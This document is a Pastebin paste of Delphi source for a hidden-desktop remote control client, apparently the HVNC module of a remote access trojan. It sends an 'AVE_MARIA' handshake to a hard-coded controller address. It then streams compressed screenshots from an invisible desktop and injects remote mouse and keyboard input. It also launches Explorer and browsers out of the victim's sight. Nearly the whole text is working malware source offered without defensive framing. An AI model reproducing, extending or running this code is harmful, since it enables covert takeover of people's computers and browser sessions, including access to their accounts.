Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- program MyClient;
- {$APPTYPE CONSOLE}
- {$R *.res}
- uses
- Windows,
- WinSock,
- Messages,
- ShellAPI,
- ShFolder,
- Registry,
- SysUtils;
- type
- TEnumHwndsPrintData = record
- _hDc: HDC;
- hDcScreen: HDC;
- end;
- PEnumHwndsPrintData = ^TEnumHwndsPrintData;
- type
- TFNWndEnumProc = function(_hwnd: HWND; _lParam: LPARAM): BOOL; stdcall;
- type
- Connection = (Desktop, _Input);
- type
- WmStartApp = (startExplorer = WM_USER + 1, startChrome, startFirefox,
- startIexplore);
- type
- Input = (Mouse);
- const
- NTDLL = 'ntdll.dll';
- vsEmpty = '';
- SendBuf: array [0 .. 9] of AnsiChar = ('A', 'V', 'E', '_', 'M', 'A', 'R',
- 'I', 'A', #0);
- var
- _hDesk: HDESK;
- bmi: TBitMapInfo;
- _hInputThread, _hDesktopThread: THandle;
- Pixels: PByte = nil;
- oldPixels: PByte = nil;
- tempPixels: PByte = nil;
- DesktopName, _Host: string;
- Started: Boolean = False;
- _Port: Integer;
- Loop: Boolean = True;
- function RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine: ULONG;
- CompressBufferWorkSpaceSize, CompressFragmentWorkSpaceSize: PULONG): Cardinal;
- stdcall; external NTDLL name 'RtlGetCompressionWorkSpaceSize';
- function RtlCompressBuffer(CompressionFormatAndEngine: ULONG;
- UncompressedBuffer: Pointer; UncompressedBufferSize: ULONG;
- CompressedBuffer: Pointer; CompressedBufferSize: ULONG;
- UncompressedChunkSize: ULONG; FinalCompressedSize: PULONG; WorkSpace: Pointer)
- : Cardinal; stdcall; external NTDLL name 'RtlCompressBuffer';
- { ---------------------------- UTIL METHODS ------------------------------ }
- function mySplit(Input: string): TArray<string>;
- const
- vDots = ':';
- var
- delimiterSet: array [0 .. 0] of char;
- begin
- delimiterSet[0] := vDots;
- Result := Input.Split(delimiterSet);
- end;
- function GetSpecialFolderPath(CSIDLFolder: Integer): string;
- var
- FilePath: array [0 .. MAX_PATH] of char;
- begin
- SHGetFolderPath(0, CSIDLFolder, 0, 0, FilePath);
- Result := IncludeTrailingPathDelimiter(FilePath);
- end;
- function xGetWindowsDiretory: string;
- var
- PWindowsDir: array [0 .. 255] of char;
- begin
- GetWindowsDirectory(PWindowsDir, 255);
- Result := IncludeTrailingPathDelimiter(StrPas(PWindowsDir));
- end;
- function xCreateProcess(appPath, currDir: string): Boolean;
- var
- lStartUpInfo: TStartUpInfo;
- lProcesso: TProcessInformation;
- begin
- FillChar(lStartUpInfo, SizeOf(lStartUpInfo), #0);
- FillChar(lProcesso, SizeOf(lProcesso), #0);
- with lStartUpInfo do
- begin
- cb := SizeOf(lStartUpInfo);
- lpDesktop := PChar(DesktopName);
- dwFlags := STARTF_USESHOWWINDOW;
- wShowWindow := SW_SHOWNORMAL;
- end;
- Result := CreateProcess(nil, PChar(appPath), nil, nil, False, 0, nil,
- PChar(currDir), lStartUpInfo, lProcesso);
- end;
- function ReadDWORD(vKey, vName: String): DWORD;
- var
- iType: DWORD;
- iSize: DWORD;
- iResult: array [0 .. 3] of Byte;
- hkResult: HKEY;
- begin
- Result := 0;
- iType := REG_DWORD;
- iSize := 4;
- if RegOpenKeyEx(HKEY_CURRENT_USER, LPTSTR(vKey), 0, KEY_READ, hkResult) <> ERROR_SUCCESS
- then
- Exit;
- if RegQueryValueEx(hkResult, LPTSTR(vName), nil, @iType, @iResult, @iSize) = ERROR_SUCCESS
- then
- begin
- Result := iResult[0] + (iResult[1] shl 8) + (iResult[2] shl 16) +
- (iResult[3] shl 24);
- end;
- RegCloseKey(hkResult);
- end;
- function WriteDWORD(vKey, vName: String; iValue: DWORD): Boolean;
- var
- iType: DWORD;
- iSize: DWORD;
- hkResult: HKEY;
- ibValue: array [0 .. 3] of Byte;
- begin
- Result := False;
- if RegOpenKeyEx(HKEY_CURRENT_USER, LPTSTR(vKey), 0, KEY_WRITE, hkResult) <> ERROR_SUCCESS
- then
- Exit;
- iType := REG_DWORD;
- iSize := 4;
- ibValue[0] := (iValue and $000000FF);
- ibValue[1] := (iValue and $0000FF00) shr 8;
- ibValue[2] := (iValue and $00FF0000) shr 16;
- ibValue[3] := (iValue and $FF000000) shr 24;
- if RegSetValueEx(hkResult, LPTSTR(vName), 0, iType, @ibValue[0], iSize) = ERROR_SUCCESS
- then
- Result := True;
- RegCloseKey(hkResult);
- end;
- function xGetClassName(_Handle: HWND): String;
- var
- buffer: array [0 .. MAX_PATH] of char;
- begin
- GetClassName(_Handle, @buffer, MAX_PATH);
- Result := String(buffer);
- end;
- function xGetUserName: String;
- const
- UNKN = 'Unknown';
- var
- User: PChar;
- I: DWORD;
- begin
- I := 1024;
- User := StrAlloc(Succ(I));
- if GetUserName(User, I) then
- Result := StrPas(User)
- else
- Result := UNKN;
- end;
- function GET_X_LPARAM(_lParam: LPARAM): Integer;
- begin
- Result := Smallint(LoWord(_lParam));
- end;
- function GET_Y_LPARAM(_lParam: LPARAM): Integer;
- begin
- Result := Smallint(HiWord(_lParam));
- end;
- function SendInt(S: TSocket; I: Integer): Integer;
- begin
- Result := send(S, I, SizeOf(I), 0);
- end;
- function GetPrevHwnd(var hWindow: HWND): HWND;
- begin
- hWindow := GetWindow(hWindow, GW_HWNDPREV);
- Result := hWindow;
- end;
- { ----------------------------------------------------------------------- }
- function xPrintWindow(_hwnd: HWND; _hDc, hDcScreen: HDC): Boolean;
- const
- {
- #if(_WIN32_WINNT >= 0x0603)
- #define PW_RENDERFULLCONTENT 0x00000002
- #endif /* _WIN32_WINNT >= 0x0603 */
- }
- PW_RENDERFULLCONTENT = $00000002;
- sPrintWindow = 'PrintWindow';
- var
- PrintWindowAPI: function(sourceHandle: HWND; destinationHandle: HDC;
- nFlags: UINT): BOOL; stdcall;
- VersionInfo: TOSVersionInfo;
- User32DLLHandle: THandle;
- Ret, bPrint: Boolean;
- R: TRect;
- hDcWindow: HDC;
- hBmpWindow: HBITMAP;
- begin
- Ret := False;
- User32DLLHandle := GetModuleHandle(user32);
- if User32DLLHandle <> 0 then
- begin
- @PrintWindowAPI := GetProcAddress(User32DLLHandle, sPrintWindow);
- if @PrintWindowAPI <> nil then
- begin
- GetWindowRect(_hwnd, R);
- hDcWindow := CreateCompatibleDC(_hDc);
- hBmpWindow := CreateCompatibleBitmap(_hDc, R.Right - R.Left,
- R.Bottom - R.Top);
- SelectObject(hDcWindow, hBmpWindow);
- VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
- GetVersionEx(VersionInfo);
- if (VersionInfo.dwMajorVersion = 6) and (VersionInfo.dwMinorVersion >= 3)
- then
- bPrint := PrintWindowAPI(_hwnd, hDcWindow, PW_RENDERFULLCONTENT)
- else
- bPrint := PrintWindowAPI(_hwnd, hDcWindow, 0);
- if bPrint then
- begin
- BitBlt(hDcScreen, R.Left, R.Top, R.Right - R.Left, R.Bottom - R.Top,
- hDcWindow, 0, 0, SRCCOPY);
- Ret := True;
- end;
- DeleteObject(hBmpWindow);
- DeleteDC(hDcWindow);
- end;
- end;
- Result := Ret;
- end;
- procedure EnumWindowsTopToDown(Owner: HWND; Proc: TFNWndEnumProc;
- _Param: LPARAM);
- var
- CurrentWindow, _CurrentWindow: HWND;
- begin
- repeat
- CurrentWindow := GetTopWindow(Owner);
- if CurrentWindow = 0 then
- Exit;
- CurrentWindow := GetWindow(CurrentWindow, GW_HWNDLAST);
- if CurrentWindow = 0 then
- Exit;
- _CurrentWindow := GetPrevHwnd(CurrentWindow);
- until Proc(CurrentWindow, _Param) and (_CurrentWindow <> 0);
- end;
- function EnumHwndsPrint(wHandle: HWND; _lParam: LPARAM): BOOL; stdcall;
- var
- VersionInfo: TOSVersionInfo;
- Data: PEnumHwndsPrintData;
- Style: DWORD;
- begin
- Result := True;
- if not IsWindowVisible(wHandle) then
- Exit;
- Data := PEnumHwndsPrintData(_lParam);
- xPrintWindow(wHandle, Data._hDc, Data.hDcScreen);
- Style := GetWindowLong(wHandle, GWL_EXSTYLE);
- SetWindowLong(wHandle, GWL_EXSTYLE, Style or WS_EX_COMPOSITED);
- VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
- GetVersionEx(VersionInfo);
- if (VersionInfo.dwMajorVersion < 6) then
- EnumWindowsTopToDown(wHandle, @EnumHwndsPrint, LPARAM(Data));
- Result := True;
- end;
- function GetDeskPixels(serverWidth, serverHeight: Integer): Boolean;
- var
- hWndDesktop: HWND;
- Data: TEnumHwndsPrintData;
- _hDcScreen, hDc_, hDcScreenResized: HDC;
- hBmpScreen, hBmpScreenResized: HBITMAP;
- cTrans: COLORREF;
- comparePixels, Same: Boolean;
- Rect: TRect;
- I, J: Cardinal;
- begin
- Result := False;
- cTrans := RGB(255, 174, 201);
- hWndDesktop := GetDesktopWindow;
- GetWindowRect(hWndDesktop, Rect);
- hDc_ := GetDC(0);
- _hDcScreen := CreateCompatibleDC(hDc_);
- hBmpScreen := CreateCompatibleBitmap(hDc_, Rect.Right, Rect.Bottom);
- SelectObject(_hDcScreen, hBmpScreen);
- with Data do
- begin
- _hDc := hDc_;
- hDcScreen := _hDcScreen;
- end;
- EnumWindowsTopToDown(0, @EnumHwndsPrint, LPARAM(@Data));
- if (serverWidth > Rect.Right) then
- serverWidth := Rect.Right;
- if (serverHeight > Rect.Bottom) then
- serverHeight := Rect.Bottom;
- if (serverWidth <> Rect.Right) or (serverHeight <> Rect.Bottom) then
- begin
- hBmpScreenResized := CreateCompatibleBitmap(hDc_, serverWidth,
- serverHeight);
- hDcScreenResized := CreateCompatibleDC(hDc_);
- SelectObject(hDcScreenResized, hBmpScreenResized);
- SetStretchBltMode(hDcScreenResized, HALFTONE);
- StretchBlt(hDcScreenResized, 0, 0, serverWidth, serverHeight, _hDcScreen, 0,
- 0, Rect.Right, Rect.Bottom, SRCCOPY);
- DeleteObject(hBmpScreen);
- DeleteDC(_hDcScreen);
- hBmpScreen := hBmpScreenResized;
- _hDcScreen := hDcScreenResized;
- end;
- comparePixels := True;
- bmi.bmiHeader.biSizeImage := serverWidth * 3 * serverHeight;
- if ((Pixels = nil) or ((bmi.bmiHeader.biWidth <> serverWidth) or
- (bmi.bmiHeader.biHeight <> serverHeight))) then
- begin
- FreeMemory(Pixels);
- FreeMemory(oldPixels);
- FreeMemory(tempPixels);
- Pixels := AllocMem(bmi.bmiHeader.biSizeImage);
- oldPixels := AllocMem(bmi.bmiHeader.biSizeImage);
- tempPixels := AllocMem(bmi.bmiHeader.biSizeImage);
- comparePixels := False;
- end;
- bmi.bmiHeader.biWidth := serverWidth;
- bmi.bmiHeader.biHeight := serverHeight;
- GetDIBits(_hDcScreen, hBmpScreen, 0, serverHeight, Pixels, bmi,
- DIB_RGB_COLORS);
- DeleteObject(hBmpScreen);
- ReleaseDC(0, hDc_);
- DeleteDC(_hDcScreen);
- if comparePixels then
- begin
- I := 0;
- while I < bmi.bmiHeader.biSizeImage do
- begin
- if (Pixels[I] = GetRValue(cTrans)) and (Pixels[I + 1] = GetGValue(cTrans))
- and (Pixels[I + 2] = GetBValue(cTrans)) then
- Inc(Pixels[I + 1]);
- Inc(I, 3);
- end;
- CopyMemory(tempPixels, Pixels, bmi.bmiHeader.biSizeImage);
- Same := True;
- J := 0;
- while J < bmi.bmiHeader.biSizeImage - 1 do
- begin
- if (Pixels[J] = oldPixels[J]) and (Pixels[J + 1] = oldPixels[J + 1]) and
- (Pixels[J + 2] = oldPixels[J + 2]) then
- begin
- Pixels[J] := GetRValue(cTrans);
- Pixels[J + 1] := GetGValue(cTrans);
- Pixels[J + 2] := GetBValue(cTrans);
- end
- else
- Same := False;
- Inc(J, 3);
- end;
- if Same then
- begin
- Result := True;
- Exit;
- end;
- CopyMemory(oldPixels, tempPixels, bmi.bmiHeader.biSizeImage);
- end
- else
- CopyMemory(oldPixels, Pixels, bmi.bmiHeader.biSizeImage);
- end;
- function ConnectServer: TSocket;
- var
- Wsa: WSAData;
- Client: sockaddr_in;
- S: TSocket;
- Rslt: Integer;
- begin
- S := INVALID_SOCKET;
- try
- Rslt := WSAStartup(MakeWord(2, 2), Wsa);
- if Rslt = NO_ERROR then
- begin
- S := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
- if S <> INVALID_SOCKET then
- begin
- Client.sin_family := AF_INET;
- Client.sin_addr.s_addr := inet_addr(PAnsiChar(AnsiString(_Host)));
- Client.sin_port := htons(_Port);
- if connect(S, Client, SizeOf(Client)) <> SOCKET_ERROR then
- Writeln('Connected successfully!');
- end;
- end;
- except
- Writeln(SysErrorMessage(GetLastError));
- end;
- Result := S;
- end;
- function DesktopThread(P: Pointer): Integer;
- const
- COMPRESSION_FORMAT_LZNT1 = $00000002;
- var
- Sock: TSocket;
- Rect: TRect;
- hWndDesktop: HWND;
- Same: Boolean;
- WorkSpace: PByte;
- workSpaceSize, fragmentWorkSpaceSize, Size, Response: Cardinal;
- Width, Height: Integer;
- begin
- Result := 0;
- Sock := ConnectServer;
- if not SetThreadDesktop(_hDesk) then
- TerminateThread(_hInputThread, 0);
- if send(Sock, SendBuf, SizeOf(SendBuf), 0) <= 0 then
- TerminateThread(_hInputThread, 0);
- if SendInt(Sock, Ord(Connection.Desktop)) <= 0 then
- TerminateThread(_hInputThread, 0);
- repeat
- if recv(Sock, Width, SizeOf(Width), 0) <= 0 then
- TerminateThread(_hInputThread, 0);
- if recv(Sock, Height, SizeOf(Height), 0) <= 0 then
- TerminateThread(_hInputThread, 0);
- Same := GetDeskPixels(Width, Height);
- if Same then
- begin
- if SendInt(Sock, 0) <= 0 then
- TerminateThread(_hInputThread, 0);
- continue;
- end;
- if SendInt(Sock, 1) <= 0 then
- TerminateThread(_hInputThread, 0);
- RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, @workSpaceSize,
- @fragmentWorkSpaceSize);
- WorkSpace := AllocMem(workSpaceSize);
- RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1, Pixels,
- bmi.bmiHeader.biSizeImage, tempPixels, bmi.bmiHeader.biSizeImage, 2048,
- @Size, WorkSpace);
- FreeMemory(WorkSpace);
- hWndDesktop := GetDesktopWindow;
- GetWindowRect(hWndDesktop, Rect);
- if SendInt(Sock, Rect.Right) <= 0 then
- TerminateThread(_hInputThread, 0);
- if SendInt(Sock, Rect.Bottom) <= 0 then
- TerminateThread(_hInputThread, 0);
- if SendInt(Sock, bmi.bmiHeader.biWidth) <= 0 then
- TerminateThread(_hInputThread, 0);
- if SendInt(Sock, bmi.bmiHeader.biHeight) <= 0 then
- TerminateThread(_hInputThread, 0);
- if SendInt(Sock, Size) <= 0 then
- TerminateThread(_hInputThread, 0);
- if send(Sock, tempPixels^, Size, 0) <= 0 then
- TerminateThread(_hInputThread, 0);
- if recv(Sock, Response, SizeOf(Response), 0) <= 0 then
- TerminateThread(_hInputThread, 0);
- until Loop = True;
- end;
- function InputThread(P: Pointer): Integer;
- const
- vKey = 'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced';
- vKeyName = 'TaskbarGlomLevel';
- vExplorerExe = 'explorer.exe';
- vIexplore = 'cmd.exe /c start iexplore.exe';
- vChromeExe = 'Google\Chrome\Application\chrome.exe';
- vFirefoxExe = 'Mozilla Firefox\firefox.exe';
- vX86 = ' (x86)';
- vClassButton = 'Button';
- vClassMenu = '#32768';
- vClassAppBar = 'Shell_TrayWnd';
- vCmdStart = 'cmd.exe /c start ';
- MN_SELECTITEM = $01E5;
- MN_GETHMENU = $01E1;
- var
- S: TSocket;
- startButtonRect, R: TRect;
- Resp, ThreadID, resMoveType, Msg, dwValue: Cardinal;
- lastPoint, lastPointCopy, MousePoint: TPoint;
- WindowPlacement: TWindowPlacement;
- appbarData: TAppBarData;
- hResMoveWindow, hWndWindow, hStartButton, currHwnd: HWND;
- itemPos, itemId, MoveX, MoveY, X, Y, Width, Height, Rslt, I: Integer;
- lmouseDown, mouseMsg, bCreateProcess: Boolean;
- ExplorerExeFullPath, ChromeExeFullPath, MzllFirefoxFullPath: string;
- _wParam: WPARAM;
- _lParam: LPARAM;
- _hMenu: HMENU;
- begin
- Result := 0;
- S := ConnectServer;
- if not SetThreadDesktop(_hDesk) then
- Exit;
- if send(S, SendBuf, SizeOf(SendBuf), 0) <= 0 then
- Exit;
- if SendInt(S, Ord(Connection._Input)) <= 0 then
- Exit;
- if recv(S, Resp, SizeOf(Resp), 0) <= 0 then
- Exit;
- _hDesktopThread := CreateThread(nil, 0, @DesktopThread, nil, 0, ThreadID);
- lmouseDown := False;
- hWndWindow := 0;
- hResMoveWindow := 0;
- resMoveType := 0;
- lastPoint.X := 0;
- lastPoint.Y := 0;
- repeat
- if recv(S, Msg, SizeOf(Msg), 0) <= 0 then
- TerminateThread(_hDesktopThread, 0);
- if recv(S, _wParam, SizeOf(_wParam), 0) <= 0 then
- TerminateThread(_hDesktopThread, 0);
- if recv(S, _lParam, SizeOf(_lParam), 0) <= 0 then
- TerminateThread(_hDesktopThread, 0);
- mouseMsg := False;
- case Msg of
- Ord(WmStartApp.startExplorer):
- begin
- dwValue := ReadDWORD(vKey, vKeyName);
- if dwValue <> 2 then
- WriteDWORD(vKey, vKeyName, 2);
- ExplorerExeFullPath := Concat(xGetWindowsDiretory, vExplorerExe);
- bCreateProcess := xCreateProcess(ExplorerExeFullPath,
- xGetWindowsDiretory);
- if bCreateProcess then
- begin
- appbarData.cbSize := SizeOf(appbarData);
- I := 0;
- while I < 5 do
- begin
- appbarData.HWND := FindWindow(vClassAppBar, nil);
- if appbarData.HWND <> 0 then
- break;
- Inc(I, 1);
- end;
- appbarData.LPARAM := ABS_ALWAYSONTOP;
- SHAppBarMessage(ABM_SETSTATE, appbarData);
- WriteDWORD(vKey, vKeyName, dwValue);
- end
- else
- Writeln('explorer.exe: ' + SysErrorMessage(GetLastError));
- end;
- Ord(WmStartApp.startChrome):
- begin
- ChromeExeFullPath := Concat(GetSpecialFolderPath(CSIDL_PROGRAM_FILES),
- vChromeExe);
- bCreateProcess := xCreateProcess(ChromeExeFullPath,
- Copy(ChromeExeFullPath, Length(ChromeExeFullPath) -
- Length(ChromeExeFullPath), Length(ChromeExeFullPath) - 10));
- if not bCreateProcess then
- Writeln('chrome.exe: ' + SysErrorMessage(GetLastError));
- end;
- Ord(WmStartApp.startFirefox):
- begin
- MzllFirefoxFullPath :=
- Concat(StringReplace(GetSpecialFolderPath(CSIDL_PROGRAM_FILES),
- vX86, vsEmpty, [rfReplaceAll, rfIgnoreCase]), vFirefoxExe);
- bCreateProcess := xCreateProcess(MzllFirefoxFullPath,
- Copy(MzllFirefoxFullPath, Length(MzllFirefoxFullPath) -
- Length(MzllFirefoxFullPath), Length(MzllFirefoxFullPath) - 11));
- if not bCreateProcess then
- Writeln('firefox.exe: ' + SysErrorMessage(GetLastError));
- end;
- Ord(WmStartApp.startIexplore):
- begin
- bCreateProcess := xCreateProcess(vIexplore, vsEmpty);
- if not bCreateProcess then
- Writeln('iexplore.exe: ' + SysErrorMessage(GetLastError));
- end;
- WM_CHAR, WM_KEYDOWN, WM_KEYUP:
- begin
- MousePoint := lastPoint;
- hWndWindow := WindowFromPoint(MousePoint);
- end;
- else
- begin
- mouseMsg := True;
- MousePoint.X := GET_X_LPARAM(_lParam);
- MousePoint.Y := GET_Y_LPARAM(_lParam);
- lastPointCopy := lastPoint;
- lastPoint := MousePoint;
- hWndWindow := WindowFromPoint(MousePoint);
- if Msg = WM_LBUTTONUP then
- begin
- lmouseDown := False;
- Rslt := SendMessage(hWndWindow, WM_NCHITTEST, 0, _lParam);
- case Rslt of
- HTTRANSPARENT:
- begin
- SetWindowLong(hWndWindow, GWL_STYLE,
- GetWindowLong(hWndWindow, GWL_STYLE) or WS_DISABLED);
- Rslt := SendMessage(hWndWindow, WM_NCHITTEST, 0, _lParam);
- end;
- HTCLOSE:
- PostMessage(hWndWindow, WM_CLOSE, 0, 0);
- HTMINBUTTON:
- PostMessage(hWndWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0);
- HTMAXBUTTON:
- begin
- WindowPlacement.Length := SizeOf(WindowPlacement);
- if GetWindowPlacement(hWndWindow, @WindowPlacement) then
- begin
- if (WindowPlacement.flags and SW_SHOWMINIMIZED) <> 0 then
- PostMessage(hWndWindow, WM_SYSCOMMAND, SC_RESTORE, 0)
- else
- PostMessage(hWndWindow, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
- end;
- end;
- end;
- end
- else if Msg = WM_LBUTTONDOWN then
- begin
- lmouseDown := True;
- hResMoveWindow := 0;
- hStartButton := FindWindow(vClassButton, nil);
- GetWindowRect(hStartButton, startButtonRect);
- if PtInRect(startButtonRect, MousePoint) then
- begin
- PostMessage(hStartButton, BM_CLICK, 0, 0);
- continue;
- end
- else
- begin
- if CompareStr(xGetClassName(hWndWindow), vClassMenu) = 0 then
- begin
- _hMenu := SendMessage(hWndWindow, MN_GETHMENU, 0, 0);
- itemPos := MenuItemFromPoint(0, _hMenu, MousePoint);
- itemId := GetMenuItemID(_hMenu, itemPos);
- PostMessage(hWndWindow, MN_SELECTITEM, itemPos, 0);
- PostMessage(hWndWindow, WM_KEYDOWN, VK_RETURN, 0);
- continue;
- end;
- end;
- end
- else if Msg = WM_MOUSEMOVE then
- begin
- if not lmouseDown then
- continue;
- if hResMoveWindow = 0 then
- resMoveType := SendMessage(hWndWindow, WM_NCHITTEST, 0, _lParam)
- else
- hWndWindow := hResMoveWindow;
- MoveX := lastPointCopy.X - MousePoint.X;
- MoveY := lastPointCopy.Y - MousePoint.Y;
- GetWindowRect(hWndWindow, R);
- X := R.Left;
- Y := R.Top;
- Width := R.Right - R.Left;
- Height := R.Bottom - R.Top;
- case resMoveType of
- HTCAPTION:
- begin
- X := X - MoveX;
- Y := Y - MoveY;
- end;
- HTTOP:
- begin
- Y := Y - MoveY;
- Height := Height + MoveY;
- end;
- HTBOTTOM:
- Height := Height - MoveY;
- HTLEFT:
- begin
- X := X - MoveX;
- Width := Width + MoveX;
- end;
- HTRIGHT:
- Width := Width - MoveX;
- HTTOPLEFT:
- begin
- Y := Y - MoveY;
- Height := Height + MoveY;
- X := X - MoveX;
- Width := Width + MoveX;
- end;
- HTTOPRIGHT:
- begin
- Y := Y - MoveY;
- Height := Height + MoveY;
- Width := Width - MoveX;
- end;
- HTBOTTOMLEFT:
- begin
- Height := Height - MoveY;
- X := X - MoveX;
- Width := Width + MoveX;
- end;
- HTBOTTOMRIGHT:
- begin
- Height := Height - MoveY;
- Width := Width - MoveX;
- end;
- else
- continue;
- end;
- MoveWindow(hWndWindow, X, Y, Width, Height, False);
- hResMoveWindow := hWndWindow;
- continue;
- end;
- end;
- end;
- while True do
- begin
- currHwnd := hWndWindow;
- hWndWindow := currHwnd;
- ScreenToClient(currHwnd, MousePoint);
- currHwnd := ChildWindowFromPoint(currHwnd, MousePoint);
- if (currHwnd = 0) or (currHwnd = hWndWindow) then
- break;
- end;
- if mouseMsg then
- _lParam := MakeLParam(MousePoint.X, MousePoint.Y);
- PostMessage(hWndWindow, Msg, _wParam, _lParam);
- until Loop = True;
- end;
- function MainThread(P: Pointer): Integer;
- var
- tId: Cardinal;
- begin
- Result := 0;
- FreeMemory(Pixels);
- FreeMemory(oldPixels);
- FreeMemory(tempPixels);
- if _hInputThread <> 0 then
- TerminateThread(_hInputThread, 0);
- if _hDesktopThread <> 0 then
- TerminateThread(_hDesktopThread, 0);
- CloseHandle(_hInputThread);
- CloseHandle(_hDesktopThread);
- Pixels := nil;
- oldPixels := nil;
- tempPixels := nil;
- FillMemory(@bmi, SizeOf(bmi), 0);
- bmi.bmiHeader.biSize := SizeOf(bmi.bmiHeader);
- bmi.bmiHeader.biPlanes := 1;
- bmi.bmiHeader.biBitCount := 24;
- bmi.bmiHeader.biCompression := BI_RGB;
- bmi.bmiHeader.biClrUsed := 0;
- DesktopName := xGetUserName;
- _hDesk := OpenDesktop(PChar(DesktopName), 0, True, GENERIC_ALL);
- if _hDesk = 0 then
- _hDesk := CreateDesktop(PChar(DesktopName), nil, nil, 0, GENERIC_ALL, nil);
- if not SetThreadDesktop(_hDesk) then
- Exit;
- _hInputThread := CreateThread(nil, 0, @InputThread, nil, 0, tId);
- WaitForSingleObject(_hInputThread, INFINITE);
- Started := False;
- end;
- procedure StartHiddenDesktop(var Host: string; Port: Integer);
- var
- ThrId: Cardinal;
- begin
- if Started then
- Exit;
- _Host := Copy(Host, Length(Host) - Length(Host), Length(Host));
- _Port := Port;
- Started := True;
- CreateThread(nil, 0, @MainThread, nil, 0, ThrId);
- end;
- var
- S: string = '192.168.15.6:1234';
- H: string;
- P: Integer;
- begin
- try
- H := mySplit(S)[0];
- P := StrToInt(mySplit(S)[1]);
- StartHiddenDesktop(H, P);
- except
- on E: Exception do
- Writeln(E.ClassName, ': ', E.Message);
- end;
- Readln;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement